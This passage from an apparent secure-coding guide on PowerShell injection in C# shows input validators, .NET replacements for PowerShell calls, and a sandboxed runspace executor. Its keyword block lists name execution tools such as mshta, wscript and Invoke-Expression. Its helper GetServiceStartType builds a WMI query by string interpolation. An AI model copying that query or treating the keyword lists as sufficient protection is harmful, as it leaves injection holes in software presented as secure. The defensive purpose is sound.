        var suspiciousPatterns = new[] { "cmd", "powershell", "wscript", "cscript", "mshta" };
        if (suspiciousPatterns.Any(pattern => processName.IndexOf(pattern, StringComparison.OrdinalIgnoreCase) >= 0))
        {
            result.AddError("Process name contains potentially dangerous keywords");
        }
        
        return result;
    }
    
    public static ValidationResult ValidateFilePath(string filePath)
    {
        var result = new ValidationResult();
        
        if (string.IsNullOrWhiteSpace(filePath))
        {
            result.AddError("File path cannot be empty");
            return result;
        }
        
        if (filePath.Length > 260)
        {
            result.AddError("File path too long (max 260 characters)");
        }
        
        if (!DirectoryPathPattern.IsMatch(filePath))
        {
            result.AddError("File path format invalid");
        }
        
        // Path traversal checks
        if (filePath.Contains("..") || filePath.Contains("//") || filePath.Contains("./"))
        {
            result.AddError("Path traversal detected");
        }
        
        // Check file extension if it's a file path
        if (Path.HasExtension(filePath))
        {
            var extension = Path.GetExtension(filePath);
            if (!AllowedFileExtensions.Contains(extension))
            {
                result.AddError($"File extension not allowed: {extension}");
            }
        }
        
        // Directory restriction
        var allowedBasePaths = new[]
        {
            @"C:\App\Data",
            @"C:\App\Logs",
            @"C:\Temp\Secure",
            @"D:\UserData"
        };
        
        if (!allowedBasePaths.Any(basePath => filePath.StartsWith(basePath, StringComparison.OrdinalIgnoreCase)))
        {
            result.AddError("File path not in allowed directory");
        }
        
        return result;
    }
    
    public static ValidationResult ValidateHostname(string hostname)
    {
        var result = new ValidationResult();
        
        if (string.IsNullOrWhiteSpace(hostname))
        {
            result.AddError("Hostname cannot be empty");
            return result;
        }
        
        if (hostname.Length > 253)
        {
            result.AddError("Hostname too long (max 253 characters)");
        }
        
        if (!HostnamePattern.IsMatch(hostname))
        {
            result.AddError("Hostname format invalid");
        }
        
        // Block localhost and private addresses
        var blockedHosts = new[] { "localhost", "127.0.0.1", "0.0.0.0", "::1" };
        if (blockedHosts.Any(blocked => hostname.Equals(blocked, StringComparison.OrdinalIgnoreCase)))
        {
            result.AddError("Localhost addresses not allowed");
        }
        
        return result;
    }
    
    public static ValidationResult ValidateCommandName(string commandName)
    {
        var result = new ValidationResult();
        
        if (string.IsNullOrWhiteSpace(commandName))
        {
            result.AddError("Command name cannot be empty");
            return result;
        }
        
        if (!AllowedCommands.Contains(commandName))
        {
            result.AddError($"Command not in allowlist: {commandName}");
        }
        
        return result;
    }
    
    public static ValidationResult ValidateInteger(string value, int min, int max, string fieldName)
    {
        var result = new ValidationResult();
        
        if (!int.TryParse(value, out int intValue))
        {
            result.AddError($"{fieldName} must be a valid integer");
            return result;
        }
        
        if (intValue < min)
        {
            result.AddError($"{fieldName} must be at least {min}");
        }
        
        if (intValue > max)
        {
            result.AddError($"{fieldName} cannot exceed {max}");
        }
        
        return result;
    }
}

// Validation result class
public class ValidationResult
{
    private readonly List<string> _errors = new List<string>();
    
    public bool IsValid => _errors.Count == 0;
    public IReadOnlyList<string> Errors => _errors.AsReadOnly();
    
    public void AddError(string error)
    {
        _errors.Add(error);
    }
    
    public void ThrowIfInvalid()
    {
        if (!IsValid)
        {
            throw new ValidationException(string.Join(", ", _errors));
        }
    }
}

// Usage example with validation
public class SecureSystemService
{
    public string GetProcessInfo(string processName)
    {
        // Validate input before processing
        var validation = PowerShellInputValidator.ValidateProcessName(processName);
        validation.ThrowIfInvalid();
        
        var executor = new SecurePowerShellExecutor();
        return executor.GetProcessesSafely(processName);
    }
    
    public FileInfo GetFileDetails(string filePath)
    {
        var validation = PowerShellInputValidator.ValidateFilePath(filePath);
        validation.ThrowIfInvalid();
        
        var executor = new SecurePowerShellExecutor();
        return executor.GetFileInfoSafely(filePath);
    }
}
3

Use .NET Libraries Instead of PowerShell When Possible

Whenever possible, use .NET's built-in libraries and classes instead of executing PowerShell commands. The .NET Framework and .NET Core provide extensive functionality for file operations, system information, network requests, and process management that eliminate the need for PowerShell execution. This approach is both safer and often more performant.

View implementation – CSHARP
using System.Diagnostics;
using System.Management;
using System.Net.Http;
using System.IO;

// SECURE: Using .NET libraries instead of PowerShell commands
public class SecureSystemOperations
{
    private readonly HttpClient _httpClient;
    
    public SecureSystemOperations()
    {
        _httpClient = new HttpClient()
        {
            Timeout = TimeSpan.FromSeconds(30)
        };
    }
    
    // File operations using .NET instead of PowerShell Get-ChildItem
    public IEnumerable<FileSystemInfo> GetDirectoryContents(string directoryPath)
    {
        // Validate directory path
        ValidateDirectoryPath(directoryPath);
        
        try
        {
            var directory = new DirectoryInfo(directoryPath);
            
            if (!directory.Exists)
                throw new DirectoryNotFoundException($"Directory not found: {directoryPath}");
            
            // Use .NET file system operations
            var files = directory.GetFileSystemInfos()
                .Where(f => IsAllowedFileType(f.Extension))
                .Take(1000) // Limit results to prevent memory issues
                .ToList();
            
            return files;
        }
        catch (UnauthorizedAccessException)
        {
            throw new SecurityException($"Access denied to directory: {directoryPath}");
        }
    }
    
    // Process information using .NET instead of PowerShell Get-Process
    public IEnumerable<ProcessInfo> GetRunningProcesses(string processNameFilter = null)
    {
        try
        {
            var processes = Process.GetProcesses();
            
            if (!string.IsNullOrEmpty(processNameFilter))
            {
                ValidateProcessName(processNameFilter);
                processes = processes.Where(p => p.ProcessName
                    .IndexOf(processNameFilter, StringComparison.OrdinalIgnoreCase) >= 0)
                    .ToArray();
            }
            
            var processInfos = processes
                .Take(100) // Limit results
                .Select(p => new ProcessInfo
                {
                    Id = p.Id,
                    Name = p.ProcessName,
                    StartTime = GetSafeStartTime(p),
                    WorkingSet = GetSafeWorkingSet(p),
                    TotalProcessorTime = GetSafeCpuTime(p)
                })
                .Where(pi => !string.IsNullOrEmpty(pi.Name)) // Filter out invalid processes
                .ToList();
            
            // Dispose process objects
            foreach (var process in processes)
            {
                process?.Dispose();
            }
            
            return processInfos;
        }
        catch (Exception ex)
        {
            throw new InvalidOperationException($"Failed to get process information: {ex.Message}", ex);
        }
    }
    
    // System services using .NET instead of PowerShell Get-Service
    public IEnumerable<ServiceInfo> GetSystemServices(string serviceNameFilter = null)
    {
        try
        {
            var services = ServiceController.GetServices();
            
            if (!string.IsNullOrEmpty(serviceNameFilter))
            {
                ValidateServiceName(serviceNameFilter);
                services = services.Where(s => s.ServiceName
                    .IndexOf(serviceNameFilter, StringComparison.OrdinalIgnoreCase) >= 0)
                    .ToArray();
            }
            
            var serviceInfos = services
                .Take(100) // Limit results
                .Select(s => new ServiceInfo
                {
                    Name = s.ServiceName,
                    DisplayName = s.DisplayName,
                    Status = s.Status.ToString(),
                    StartType = GetServiceStartType(s)
                })
                .ToList();
            
            // Dispose service controller objects
            foreach (var service in services)
            {
                service?.Dispose();
            }
            
            return serviceInfos;
        }
        catch (Exception ex)
        {
            throw new InvalidOperationException($"Failed to get service information: {ex.Message}", ex);
        }
    }
    
    // Network operations using HttpClient instead of PowerShell Invoke-WebRequest
    public async Task<string> DownloadContentSafely(string url, int maxSizeBytes = 1024 * 1024)
    {
        // Validate URL
        if (!IsValidUrl(url))
            throw new ArgumentException("Invalid URL format");
        
        if (!IsAllowedDomain(url))
            throw new SecurityException("Domain not in allowlist");
        
        try
        {
            using (var response = await _httpClient.GetAsync(url))
            {
                response.EnsureSuccessStatusCode();
                
                // Check content length
                if (response.Content.Headers.ContentLength > maxSizeBytes)
                    throw new InvalidOperationException($"Content too large: {response.Content.Headers.ContentLength} bytes");
                
                var content = await response.Content.ReadAsStringAsync();
                
                // Additional size check after reading
                if (content.Length > maxSizeBytes)
                    throw new InvalidOperationException($"Content too large: {content.Length} characters");
                
                return content;
            }
        }
        catch (HttpRequestException ex)
        {
            throw new InvalidOperationException($"HTTP request failed: {ex.Message}", ex);
        }
        catch (TaskCanceledException)
        {
            throw new TimeoutException("Request timeout");
        }
    }
    
    // System information using WMI instead of PowerShell Get-ComputerInfo
    public SystemInfo GetSystemInformation()
    {
        try
        {
            var systemInfo = new SystemInfo();
            
            // Get OS information
            using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem"))
            {
                foreach (ManagementObject obj in searcher.Get())
                {
                    systemInfo.OperatingSystem = obj["Caption"]?.ToString();
                    systemInfo.Version = obj["Version"]?.ToString();
                    systemInfo.Architecture = obj["OSArchitecture"]?.ToString();
                    systemInfo.TotalMemoryGB = Convert.ToInt64(obj["TotalVisibleMemorySize"]) / 1024 / 1024;
                    break; // Only need first result
                }
            }
            
            // Get computer system information
            using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_ComputerSystem"))
            {
                foreach (ManagementObject obj in searcher.Get())
                {
                    systemInfo.ComputerName = obj["Name"]?.ToString();
                    systemInfo.Domain = obj["Domain"]?.ToString();
                    systemInfo.Manufacturer = obj["Manufacturer"]?.ToString();
                    systemInfo.Model = obj["Model"]?.ToString();
                    break;
                }
            }
            
            return systemInfo;
        }
        catch (Exception ex)
        {
            throw new InvalidOperationException($"Failed to get system information: {ex.Message}", ex);
        }
    }
    
    // Helper methods for validation
    private void ValidateDirectoryPath(string path)
    {
        var validation = PowerShellInputValidator.ValidateFilePath(path);
        validation.ThrowIfInvalid();
    }
    
    private void ValidateProcessName(string processName)
    {
        var validation = PowerShellInputValidator.ValidateProcessName(processName);
        validation.ThrowIfInvalid();
    }
    
    private void ValidateServiceName(string serviceName)
    {
        if (string.IsNullOrWhiteSpace(serviceName) || serviceName.Length > 100)
            throw new ArgumentException("Invalid service name");
        
        if (!Regex.IsMatch(serviceName, @"^[a-zA-Z0-9._-]+$"))
            throw new ArgumentException("Service name contains invalid characters");
    }
    
    private bool IsAllowedFileType(string extension)
    {
        var allowedExtensions = new[] { ".txt", ".log", ".csv", ".json", ".xml", ".config" };
        return string.IsNullOrEmpty(extension) || allowedExtensions.Contains(extension.ToLower());
    }
    
    private bool IsValidUrl(string url)
    {
        return Uri.TryCreate(url, UriKind.Absolute, out Uri result) 
               && (result.Scheme == Uri.UriSchemeHttp || result.Scheme == Uri.UriSchemeHttps);
    }
    
    private bool IsAllowedDomain(string url)
    {
        var allowedDomains = new[] { "api.example.com", "secure.mycompany.com", "trusted.partner.com" };
        var uri = new Uri(url);
        return allowedDomains.Contains(uri.Host.ToLower());
    }
    
    // Safe property access methods
    private DateTime GetSafeStartTime(Process process)
    {
        try { return process.StartTime; }
        catch { return DateTime.MinValue; }
    }
    
    private long GetSafeWorkingSet(Process process)
    {
        try { return process.WorkingSet64; }
        catch { return 0; }
    }
    
    private TimeSpan GetSafeCpuTime(Process process)
    {
        try { return process.TotalProcessorTime; }
        catch { return TimeSpan.Zero; }
    }
    
    private string GetServiceStartType(ServiceController service)
    {
        try
        {
            using (var searcher = new ManagementObjectSearcher($"SELECT StartMode FROM Win32_Service WHERE Name='{service.ServiceName}'"))
            {
                foreach (ManagementObject obj in searcher.Get())
                {
                    return obj["StartMode"]?.ToString() ?? "Unknown";
                }
            }
        }
        catch
        {
            return "Unknown";
        }
        return "Unknown";
    }
    
    public void Dispose()
    {
        _httpClient?.Dispose();
    }
}

// Data transfer objects
public class ProcessInfo
{
    public int Id { get; set; }
    public string Name { get; set; }
    public DateTime StartTime { get; set; }
    public long WorkingSet { get; set; }
    public TimeSpan TotalProcessorTime { get; set; }
}

public class ServiceInfo
{
    public string Name { get; set; }
    public string DisplayName { get; set; }
    public string Status { get; set; }
    public string StartType { get; set; }
}

public class SystemInfo
{
    public string OperatingSystem { get; set; }
    public string Version { get; set; }
    public string Architecture { get; set; }
    public string ComputerName { get; set; }
    public string Domain { get; set; }
    public string Manufacturer { get; set; }
    public string Model { get; set; }
    public long TotalMemoryGB { get; set; }
}
4

Implement PowerShell Execution Sandboxing and Resource Limits

When PowerShell execution is unavoidable, implement comprehensive sandboxing with execution policies, constrained language mode, resource limits, and timeout controls. Use PowerShell's security features like execution policies, and run PowerShell in restricted environments to minimize the impact of potential attacks.

View implementation – CSHARP
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Threading;
using System.Collections.ObjectModel;

// SECURE: Sandboxed PowerShell execution with comprehensive security controls
public class SandboxedPowerShellExecutor : IDisposable
{
    private readonly Runspace _restrictedRunspace;
    private readonly SemaphoreSlim _executionSemaphore;
    private readonly TimeSpan _defaultTimeout = TimeSpan.FromSeconds(30);
    private readonly int _maxConcurrentExecutions = 3;
    
    public SandboxedPowerShellExecutor()
    {
        _executionSemaphore = new SemaphoreSlim(_maxConcurrentExecutions);
        _restrictedRunspace = CreateRestrictedRunspace();
    }
    
    private Runspace CreateRestrictedRunspace()
    {
        // Create initial session state with restricted commands
        var iss = InitialSessionState.CreateRestricted(SessionCapabilities.Language);
        
        // Add only safe, allowed commands
        var allowedCommands = new[]
        {
            "Get-Process",
            "Get-Service", 
            "Get-ChildItem",
            "Get-Content",
            "Test-Path",
            "Get-Date",
            "Get-Location",
            "Select-Object",
            "Where-Object",
            "Sort-Object",
            "Measure-Object",
            "Format-Table",
            "Format-List",
            "Out-String"
        };
        
        // Import only allowed commands
        foreach (var command in allowedCommands)
        {
            var cmdInfo = new SessionStateCmdletEntry(command, typeof(object), null);
            iss.Commands.Add(cmdInfo);
        }
        
        // Set language mode to restricted
        iss.LanguageMode = PSLanguageMode.RestrictedLanguage;
        
        // Set execution policy
        iss.ExecutionPolicy = Microsoft.PowerShell.ExecutionPolicy.Restricted;
        
        // Remove dangerous variables and functions
        var dangerousVariables = new[] { "ExecutionContext", "Host", "PSVersionTable" };
        foreach (var variable in dangerousVariables)
        {
            if (iss.Variables.Any(v => v.Name == variable))
                iss.Variables.Remove(variable);
        }
        
        // Create and open runspace
        var runspace = RunspaceFactory.CreateRunspace(iss);
        runspace.Open();
        
        // Set additional security constraints
        runspace.SessionStateProxy.SetVariable("MaximumHistoryCount", 1);
        runspace.SessionStateProxy.SetVariable("MaximumAliasCount", 0);
        
        return runspace;
    }
    
    public async Task<PowerShellResult> ExecuteCommandSafely(string commandName, Dictionary<string, object> parameters, TimeSpan? timeout = null)
    {
        // Acquire execution slot
        if (!await _executionSemaphore.WaitAsync(TimeSpan.FromSeconds(10)))
            throw new TimeoutException("PowerShell execution queue is full");
        
        try
        {
            return await ExecuteInternal(commandName, parameters, timeout ?? _defaultTimeout);
        }
        finally
        {
            _executionSemaphore.Release();
        }
    }
    
    private async Task<PowerShellResult> ExecuteInternal(string commandName, Dictionary<string, object> parameters, TimeSpan timeout)
    {
        // Validate command is allowed
        ValidateCommandName(commandName);
        
        // Validate all parameters
        ValidateParameters(parameters);
        
        var result = new PowerShellResult
        {
            CommandName = commandName,
            StartTime = DateTime.UtcNow
        };
        
        using (var ps = PowerShell.Create())
        {
            ps.Runspace = _restrictedRunspace;
            
            // Set up cancellation token for timeout
            using (var cts = new CancellationTokenSource(timeout))
            {
                try
                {
                    // Build command with parameters
                    ps.AddCommand(commandName);
                    
                    foreach (var param in parameters)
                    {
                        ps.AddParameter(param.Key, param.Value);
                    }
                    
                    // Add error action to capture errors safely
                    ps.AddParameter("ErrorAction", "Stop");
                    
                    // Execute asynchronously with cancellation
                    var task = Task.Run(() => ps.Invoke(), cts.Token);
                    
                    var psResults = await task;
                    
                    result.Success = true;
                    result.Output = psResults?.Select(r => r?.ToString()).ToList() ?? new List<string>();
                    result.EndTime = DateTime.UtcNow;
                    
                    // Check for non-terminating errors
                    if (ps.HadErrors)
                    {
                        result.Errors = ps.Streams.Error
                            .Select(e => $"Error: {e.Exception?.Message ?? e.ToString()}")
                            .ToList();
                        result.Success = result.Errors.Count == 0;
                    }
                    
                    return result;
                }
                catch (OperationCanceledException)
                {
                    result.Success = false;
                    result.Errors = new List<string> { $"Command execution timed out after {timeout.TotalSeconds} seconds" };
                    result.TimedOut = true;
                    result.EndTime = DateTime.UtcNow;
                    
                    // Stop the PowerShell execution
                    ps.Stop();
                    
                    return result;
                }
                catch (Exception ex)
                {
                    result.Success = false;
                    result.Errors = new List<string> { $"Execution error: {ex.Message}" };
                    result.EndTime = DateTime.UtcNow;
                    
                    return result;
                }
            }
        }
    }
    
    private void ValidateCommandName(string commandName)
    {
        if (string.IsNullOrWhiteSpace(commandName))
            throw new ArgumentException("Command name cannot be empty");
        
        var allowedCommands = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
        {
            "Get-Process", "Get-Service", "Get-ChildItem", "Get-Content", 
            "Test-Path", "Get-Date", "Get-Location"
        };
        
        if (!allowedCommands.Contains(commandName))
            throw new SecurityException($"Command not allowed: {commandName}");
    }
    
    private void ValidateParameters(Dictionary<string, object> parameters)
    {
        if (parameters == null)
            return;
        
        if (parameters.Count > 10)
            throw new ArgumentException("Too many parameters (max 10)");
        
        foreach (var param in parameters)
        {
            ValidateParameterName(param.Key);
            ValidateParameterValue(param.Key, param.Value);
        }
    }
    
    private void ValidateParameterName(string paramName)
    {
        if (string.IsNullOrWhiteSpace(paramName))
            throw new ArgumentException("Parameter name cannot be empty");
        
        if (paramName.Length > 50)
            throw new ArgumentException("Parameter name too long");
        
        if (!Regex.IsMatch(paramName, @"^[a-zA-Z][a-zA-Z0-9_]*$"))
            throw new ArgumentException($"Invalid parameter name format: {paramName}");
        
        // Block dangerous parameter names
        var blockedParams = new[] { "Command", "ScriptBlock", "FilePath", "ArgumentList", "Credential" };
        if (blockedParams.Any(blocked => paramName.Equals(blocked, StringComparison.OrdinalIgnoreCase)))
            throw new SecurityException($"Parameter name not allowed: {paramName}");
    }
    
    private void ValidateParameterValue(string paramName, object value)
    {
        if (value == null)
            return;
        
        // Check value type
        var allowedTypes = new[] { typeof(string), typeof(int), typeof(bool), typeof(DateTime) };
        if (!allowedTypes.Contains(value.GetType()))
            throw new ArgumentException($"Parameter value type not allowed: {value.GetType().Name}");
        
        // String-specific validation
        if (value is string strValue)
        {
            if (strValue.Length > 1000)
                throw new ArgumentException($"Parameter value too long: {paramName}");
            
            // Check for potentially dangerous content
            var dangerousPatterns = new[]
            {
                "Invoke-Expression", "iex", "Invoke-Command", "icm",
                "Start-Process", "saps", "New-Object", "powershell",
                "cmd.exe", "wscript", "cscript", "mshta"
            };
            
            foreach (var pattern in dangerousPatterns)
            {
                if (strValue.IndexOf(pattern, StringComparison.OrdinalIgnoreCase) >= 0)
                    throw new SecurityException($"Parameter contains dangerous content: {paramName}");
            }
            
            // Parameter-specific validation
            switch (paramName.ToLower())
            {
                case "path":
                case "filepath":
                    ValidatePathParameter(strValue);
                    break;
                case "name":
                case "processname":
                    ValidateNameParameter(strValue);
                    break;
            }
        }
    }
    
    private void ValidatePathParameter(string path)
    {
        var validation = PowerShellInputValidator.ValidateFilePath(path);
        validation.ThrowIfInvalid();
    }
    
    private void ValidateNameParameter(string name)
    {
        var validation = PowerShellInputValidator.ValidateProcessName(name);
        validation.ThrowIfInvalid();
    }
    
    public void Dispose()
    {
        _restrictedRunspace?.Dispose();
        _executionSemaphore?.Dispose();
    }
}

// Result object for PowerShell execution
public class PowerShellResult
{
    public string CommandName { get; set; }
    public bool Success { get; set; }
    public List<string> Output { get; set; } = new List<string>();
    public List<string> Errors { get; set; } = new List<string>();
    public DateTime StartTime { get; set; }
    public DateTime EndTime { get; set; }
    public bool TimedOut { get; set; }
    
    public TimeSpan Duration => EndTime - StartTime;
}

// Usage example with comprehensive error handling
public class SecurePowerShellService
{
    private readonly SandboxedPowerShellExecutor _executor;
    
    public SecurePowerShellService()
    {
        _executor = new SandboxedPowerShellExecutor();
    }
    
    public async Task<string> GetProcessInfoSafely(string processName)
    {
        try
        {
            var parameters = new Dictionary<string, object>
            {
                { "Name", processName + "*" },
                { "ErrorAction", "SilentlyContinue" }
            };
            
            var result = await _executor.ExecuteCommandSafely("Get-Process", parameters, TimeSpan.FromSeconds(15));
            
            if (!result.Success)
            {
                throw new InvalidOperationException($"PowerShell execution failed: {string.Join(", ", result.Errors)}");
            }
            
            return string.Join("\n", result.Output);
        }
        catch (Exception ex)
        {
            throw new InvalidOperationException($"Failed to get process information: {ex.Message}", ex);
        }
    }
    
    public void Dispose()
    {
        _executor?.Dispose();
    }
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies powershell injection in c# applications and many other security issues in your codebase.